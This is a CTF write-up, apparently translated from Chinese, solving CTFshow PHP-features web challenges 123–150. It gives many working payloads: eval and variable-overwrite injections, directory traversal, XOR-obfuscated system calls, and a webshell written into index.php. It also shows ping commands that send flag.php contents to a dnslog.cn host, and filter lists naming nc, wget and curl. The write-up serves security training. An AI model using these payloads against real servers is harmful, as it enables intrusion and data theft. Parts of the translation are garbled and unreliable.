CTFshow——Introduction to web——PHP Features (Part 2)

web123

topic

<?php

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    
    
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
    
    
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
    
    
             echo $flag;
         }
    }
}
?>

Problem solution
PHP variable names are not allowed to use dots, they will become underscores, and the front is [, which will turn [ into _, while the following . will not change.
payload:

CTF_SHOW=1&CTF[SHOW.COM=2&fun=echo $flag

You can also use the function to print the array for output

get_included_files ()
get_included_files — Returns an array of included and required filenames
Returns an array of all filenames.

implode ()
implode — convert a one-dimensional array value into a string

get_defined_vars()
get_defined_vars — returns an array of all defined variables

payload:

CTF_SHOW=1&CTF[SHOW.COM=2&fun=echo implode(get_defined_vars())

web125

topic

<?php

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    
    
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
    
    
         eval("$c".";");
         if($fl0g==="flag_give_me"){
    
    
             echo $flag;
         }
    }
}
?>

answer

extract ()
extract — import variables from an array into the current symbol table

The data passed in by post will overwrite the original data.
payload:

CTF_SHOW=1&CTF[SHOW.COM=2&fun=extract($_POST)&fl0g=flag_give_me

There is another method, refer to Master Yu

1、cli模式(命令行)下

	第一个参数$_SERVER['argv'][0]是脚本名,其余的是传递给脚本的参数

2、web网页模式下

	在web页模式下必须在php.ini开启register_argc_argv配置项
	
    设置register_argc_argv = On(默认是Off),重启服务,$_SERVER[‘argv’]才会有效果

    这时候的$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]

    $argv,$argc在web模式下不适用

Because we are running in the web page mode, so $_SERVER['argv'][0] = $_SERVER['QUERY_STRING']at this time we only need to assign the value through$a[0]= $_SERVER['QUERY_STRING']
.eval("$c".";");$flagflag_give_me

$fl0g=flag_give_me;   #GET
CTF_SHOW=1&CTF[SHOW.COM=2&fun=eval($a[0])  #POST

web126

topic

<?php

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    
    
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
    
    
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
    
    
             echo $flag;
         }
    }
}

Problem solution
Same as above

parse_str ()
parse_str — parse a string into variables

insert image description here
payload:

a=1+fl0g=flag_give_me  #GET
CTF_SHOW=1&CTF[SHOW.COM=2&fun=parse_str($a[1])  #POST

web127

topic

<?php

error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];


//特殊字符检测
function waf($url){
    
    
    if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
    
    
        return true;
    }else{
    
    
        return false;
    }
}

if(waf($url)){
    
    
    die("嗯哼?");
}else{
    
    
    extract($_GET);
}


if($ctf_show==='ilove36d'){
    
    
    echo $flag;
}

Solution:
Dots or spaces in PHP variable names will be converted to underscores, because dots are filtered
payload:

ctf show=ilove36d

web128

topic

<?php

error_reporting(0);
include("flag.php");
highlight_file(__FILE__);

$f1 = $_GET['f1'];
$f2 = $_GET['f2'];

if(check($f1)){
    
    
    var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
    
    
    echo "嗯哼?";
}



function check($str){
    
    
    return !preg_match('/[0-9]|[a-z]/i', $str);
} NULL

answer

call_user_func ()
call_user_func — call the callback function with the first argument

insert image description here
_ is equivalent to the gettext function

<?php
echo gettext("phpinfo");
结果  phpinfo

echo _("phpinfo");
结果 phpinfo

payload:

f1=_&f2=get_defined_vars

web129

topic

<?php

error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
    
    
    $f = $_GET['f'];
    if(stripos($f, 'ctfshow')>0){
    
    
        echo readfile($f);
    }
}

answer

stripos()
stripos — Find the first occurrence of a string (case insensitive)

insert image description here
Directory traversal
payload:

f=../ctfshow/../../../../../../../../var/www/html/flag.php

web130

topic

<?php

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
    
    
    $f = $_POST['f'];

    if(preg_match('/.+?ctfshow/is', $f)){
    
    
        die('bye!');
    }
    if(stripos($f, 'ctfshow') === FALSE){
    
    
        die('bye!!');
    }

    echo $flag;


Solution
is matches case and newline
The stripos() function finds the string matching position starting from 0, not 1, so the second regular
payload is bypassed:

f=ctfshow

web131

topic

<?php

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
    
    
    $f = (String)$_POST['f'];

    if(preg_match('/.+?ctfshow/is', $f)){
    
    
        die('bye!');
    }
    if(stripos($f,'36Dctfshow') === FALSE){
    
    
        die('bye!!');
    }

    echo $flag;

}

Problem Solution
In order to prevent regular expression denial of service attacks (reDOS), PHP sets an upper limit of the number of backtracking times for pcre.backtrack_limit, and the upper
limit of backtracking times is 1 million by default. If the number of backtracking exceeds 1 million, preg_match will no longer return non-1 and 0, but false. This way we can bypass the first regex.

import requests

url = "http://7d46897d-72da-45fb-b85d-f6d5dc39bb09.challenge.ctf.show/"
param = 'very'*250000 + "36Dctfshow"
data = {
    
    
    "f":param
}
res = requests.post(url,data)
print(res.text)

P God Blog: PHP uses PCRE backtracking limit to bypass certain security restrictions

web132

topic

<?php

#error_reporting(0);
include("flag.php");
highlight_file(__FILE__);


if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
    
    
    $username = (String)$_GET['username'];
    $password = (String)$_GET['password'];
    $code = (String)$_GET['code'];

    if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
    
    
        
        if($code == 'admin'){
    
    
            echo $flag;
        }
        
    }
}

Solution
/admin has source code

 if(true && true || false){
    
    
        echo 123;
    }

|| One is true and both are true, we only need to ensure username=admin to pass the second if
payload:

sername=admin&password=&code=admin

web133

topic

<?php

error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
    
    
    if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
    
    
        eval(substr($F,0,6));
    }else{
    
    
        die("6个字母都还不够呀?!");
    }
}

Solution
through dnslog

substr ()
substr — returns a substring of a string

insert image description here
insert image description here
The master idea
grep command to filter
the payload:

F=`$F`; ping `cat flag.php | grep ctfshow | tr -cd "[a-z]"/"[0-9]"`.wutsuc.dnslog.cn -c 1

web134

topic

<?php

highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
    
    
    die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
    
    
    die(file_get_contents('flag.php'));
}

Detailed solution
$_SERVER

实例:

1,http://localhost/aaa/ (打开aaa中的index.php)
结果:
$_SERVER['QUERY_STRING'] = "";
$_SERVER['REQUEST_URI']  = "/aaa/";
$_SERVER['SCRIPT_NAME']  = "/aaa/index.php";
$_SERVER['PHP_SELF']     = "/aaa/index.php";

2,http://localhost/aaa/?p=222 (附带查询)
结果:
$_SERVER['QUERY_STRING'] = "p=222";
$_SERVER['REQUEST_URI']  = "/aaa/?p=222";
$_SERVER['SCRIPT_NAME']  = "/aaa/index.php";
$_SERVER['PHP_SELF']     = "/aaa/index.php";

3,http://localhost/aaa/index.php?p=222&q=333
结果:
$_SERVER['QUERY_STRING'] = "p=222&q=333";
$_SERVER['REQUEST_URI']  = "/aaa/index.php?p=222&q=333";
$_SERVER['SCRIPT_NAME']  = "/aaa/index.php";
$_SERVER['PHP_SELF']     = "/aaa/index.php";

由实例可知:
$_SERVER["QUERY_STRING"]  获取查询 语句,实例中可知,获取的是?后面的值
$_SERVER["REQUEST_URI"]   获取 http://localhost 后面的值,包括/
$_SERVER["SCRIPT_NAME"]   获取当前脚本的路径,如:index.php
$_SERVER["PHP_SELF"]      当前正在执行脚本的文件名

Since it is extract $_POST, use parse_strit $_POSTto overwrite the payload:

_POST[key1]=36d&_POST[key2]=36d

web135

topic

<?php

error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
    
    
    if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
    
    
        eval(substr($F,0,6));
    }else{
    
    
        die("师傅们居然破解了前面的,那就来一个加强版吧");
    }
}

Problem solution
Using the ping principle DNS request
payload:

F=`$F`; ping `nl flag.php|awk '/flag/'| tr -cd "[a-z]"/"[0-9]"`.klj10h.dnslog.cn -c 1

Look at the awk command, use the pipe character to filter, and use the slash to select the value of the line containing the string.
insert image description here

web136

topic

<?php

error_reporting(0);
function check($x){
    
    
    if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
    
    
        die('too young too simple sometimes naive!');
    }
}
if(isset($_GET['c'])){
    
    
    $c=$_GET['c'];
    check($c);
    exec($c);
}
else{
    
    
    highlight_file(__FILE__);
}
?>

Problem solution
Briefly understand
insert image description here
the tee file output stream of the tee command, and write the previous execution results into the new file
payload:

c=ls / |tee 1
c=cat /f149_15_h3r3 |tee 2

There is also a method
xargs sed to replace the file content
payload in batches:

c=ls |xargs sed -i 's/die/echo/'
c=ls |xargs sed -i 's/exec/system/'
c=cat /f149_15_h3r3

web137

topic

<?php

error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
    
    
    function __wakeup(){
    
    
        die("private class");
    }
    static function getFlag(){
    
    
        echo file_get_contents("flag.php");
    }
}



call_user_func($_POST['ctfshow']);

Solution
call_user_func — call the first parameter as a callback function

In php -> and:: the difference between calling members of a class
-> for a dynamic context to process a certain instance of a class
:: you can call a static class method that does not depend on other initializations.

Call the function payload in the class
:

ctfshow=ctfshow::getFlag

web138

topic

<?php

error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
    
    
    function __wakeup(){
    
    
        die("private class");
    }
    static function getFlag(){
    
    
        echo file_get_contents("flag.php");
    }
}

if(strripos($_POST['ctfshow'], ":")>-1){
    
    
    die("private function");
}

call_user_func($_POST['ctfshow']);

Solution
: Disabled, call_user_func can pass an array

call_user_func(array($classname, 'say_hello'));
At this time, the say_hello method in classname will be called

payload:

ctfshow[]=ctfshow&ctfshow[]=getFlag

web139

topic

<?php

error_reporting(0);
function check($x){
    
    
    if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
    
    
        die('too young too simple sometimes naive!');
    }
}
if(isset($_GET['c'])){
    
    
    $c=$_GET['c'];
    check($c);
    exec($c);
}
else{
    
    
    highlight_file(__FILE__);
}
?>

Problem solution
Let's put it aside for a while...

web140

topic

<?php

error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['f1']) && isset($_POST['f2'])){
    
    
    $f1 = (String)$_POST['f1'];
    $f2 = (String)$_POST['f2'];
    if(preg_match('/^[a-z0-9]+$/', $f1)){
    
    
        if(preg_match('/^[a-z0-9]+$/', $f2)){
    
    
            $code = eval("return $f1($f2());");
            if(intval($code) == 'ctfshow'){
    
    
                echo file_get_contents("flag.php");
            }
        }
    }
}

Solution
insert image description here
We just let intval($code)it be equal to 0

f1=md5&f2=md5
f1=system&f2=system

web141

topic

<?php

#error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    
    
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];

    if(is_numeric($v1) && is_numeric($v2)){
    
    
        if(preg_match('/^\W+$/', $v3)){
    
    
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

The meaning of the solution
/^\W+$/ : Matching ^a-zA-Z0-9_](any number of non-word characters, non-numeric letters and underscore characters) can be executed
locally , so that return can be bypassed Master Yu's non-alphanumeric bypass regular expression summary (including uploading temporary files , exclusive or, or, negation, self-incrementing script) can obtain the corresponding letter through exclusive or, and construct the initial letter as 1, then you can pass the criterioneval("return 1+phpinfo()+1;");


例:
小写字母p编码为 0111 0000 0x70
可以利用异或准则 相同为0,不同为1来得到 %70
/p
1010 1111  %af
1101 1111  %df
0111 0000  %70
/h
1010 1111 %af
1100 0111 %c7
0110 1000 %68
/i
1010 1111 %af
1100 0110 %c6
0110 1001 %69
/n
1010 1111 %af
1100 0001 %c1
0110 1110 %6e
/f
1010 1111 %af
1100 1001 %c9
0110 0110 %66
/o
1010 1111 %af
1100 0000 %c0
0110 1111 %6f
/(
1010 1111 %af
1000 0111 %87
0010 1000 %28
/)
1010 1111 %af
1000 0110 %86
0010 1001 %29

%AF%AF%AF%AF%AF%AF%AF%AF^%DF%C7%DF%C6%C1%C9%C0 can replace phpinfo so we can construct system('tac fl*') through XOR, here we
use It is Master Yu's script that runs and
gets ("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%08%01%03%00%06%0c%00"^"%7c%60%60%20%60%60%2a");
the payload:

v1=1&v2=1&v3=-("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%08%01%03%00%06%0c%00"^"%7c%60%60%20%60%60%2a")-

web142

topic

<?php

error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1'])){
    
    
    $v1 = (String)$_GET['v1'];
    if(is_numeric($v1)){
    
    
        $d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);
        sleep($d);
        echo file_get_contents("flag.php");
    }
}

Solution
payload:

v1=0

web143

topic

<?php

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    
    
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
    
    
        if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){
    
    
                die('get out hacker!');
        }
        else{
    
    
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

Solution
- is filtered, replace - with *, and then run
the payload with Master Yu script:

v1=1&v2=2&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%00%06%0c%00"^"%7f%60%60%20%60%60%2a")*

web144

topic

<?php

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    
    
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];

    if(is_numeric($v1) && check($v3)){
    
    
        if(preg_match('/^\W+$/', $v2)){
    
    
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

function check($str){
    
    
    return strlen($str)===1?true:false;
}

The length of the problem solution
v3 is required to be 1, and the payload of the above problem can still be used
:

?v1=1&v3=1&v2=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%00%06%0c%00"^"%7f%60%60%20%60%60%2a")

web145

topic

<?php

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    
    
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
    
    
        if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
    
    
                die('get out hacker!');
        }
        else{
    
    
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

Solution
XOR is banned, we can use the negation
payload:

v1=1&v2=1&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%D5)|
v1=1&v2=1&v3=?(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%D5):

eval("return 1?phpinfo():1;");
is executable, and the inspection point is the ternary operator

web146

topic

<?php

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    
    
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
    
    
        if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
    
    
                die('get out hacker!');
        }
        else{
    
    
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

Solution
Negative
payload:

v1=1&v2=1&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%D5)|

web147

topic

<?php

highlight_file(__FILE__);

if(isset($_POST['ctf'])){
    
    
    $ctfshow = $_POST['ctf'];
    if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
    
    
        $ctfshow('',$_GET['show']);
    }

}

Problem solution
analysis create_function()
This problem is to match symbols that do not contain letters or numbers at the beginning.
We can use create_function() to create anonymous functions for code injection.
Pass inecho }system('tac fl*');/*

function f($a) {
    
    
  echo }system('tac fl*');/*
}

payload:

show=}system("cat flag.php");/*
ctf=\create_function    #POST

}is a closed regular if condition
/*is commented out}

web148

topic

<?php

include 'flag.php';
if(isset($_GET['code'])){
    
    
    $code=$_GET['code'];
    if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){
    
    
        die("error");
    }
    @eval($code);
}
else{
    
    
    highlight_file(__FILE__);
}

function get_ctfshow_fl0g(){
    
    
    echo file_get_contents("flag.php");
}

Solution
XOR
payload:

code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%09%01%03%01%06%0c%02"^"%7d%60%60%21%60%60%28");

web149

topic

<?php

error_reporting(0);
highlight_file(__FILE__);

$files = scandir('./'); 
foreach($files as $file) {
    
    
    if(is_file($file)){
    
    
        if ($file !== "index.php") {
    
    
            unlink($file);
        }
    }
}

file_put_contents($_GET['ctf'], $_POST['show']);

$files = scandir('./'); 
foreach($files as $file) {
    
    
    if(is_file($file)){
    
    
        if ($file !== "index.php") {
    
    
            unlink($file);
        }
    }
}

Solution
The rest of the files except index.php will be deleted, we can directly write the horse payload in index.php
:

ctf=index.php
show=<?php eval($_POST[1]);?>

Ant sword connection.

web150

topic

<?php

include("flag.php");
error_reporting(0);
highlight_file(__FILE__);

class CTFSHOW{
    
    
    private $username;
    private $password;
    private $vip;
    private $secret;

    function __construct(){
    
    
        $this->vip = 0;
        $this->secret = $flag;
    }

    function __destruct(){
    
    
        echo $this->secret;
    }

    public function isVIP(){
    
    
        return $this->vip?TRUE:FALSE;
        }
    }

    function __autoload($class){
    
    
        if(isset($class)){
    
    
            $class();
    }
}

#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
    
    
    die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
    
    
    echo "class is exists!";
}

if($isVIP && strrpos($ctf, ":")===FALSE){
    
    
    include($ctf);
}

Solution
Write a sentence into the log.
The log contains a sentence /var/log/nginx/access.log
payload:

isVIP=1
ctf=/var/log/nginx/access.log&1=system('tac fl*.php');

Guess you like

Origin blog.csdn.net/h_adam/article/details/122570858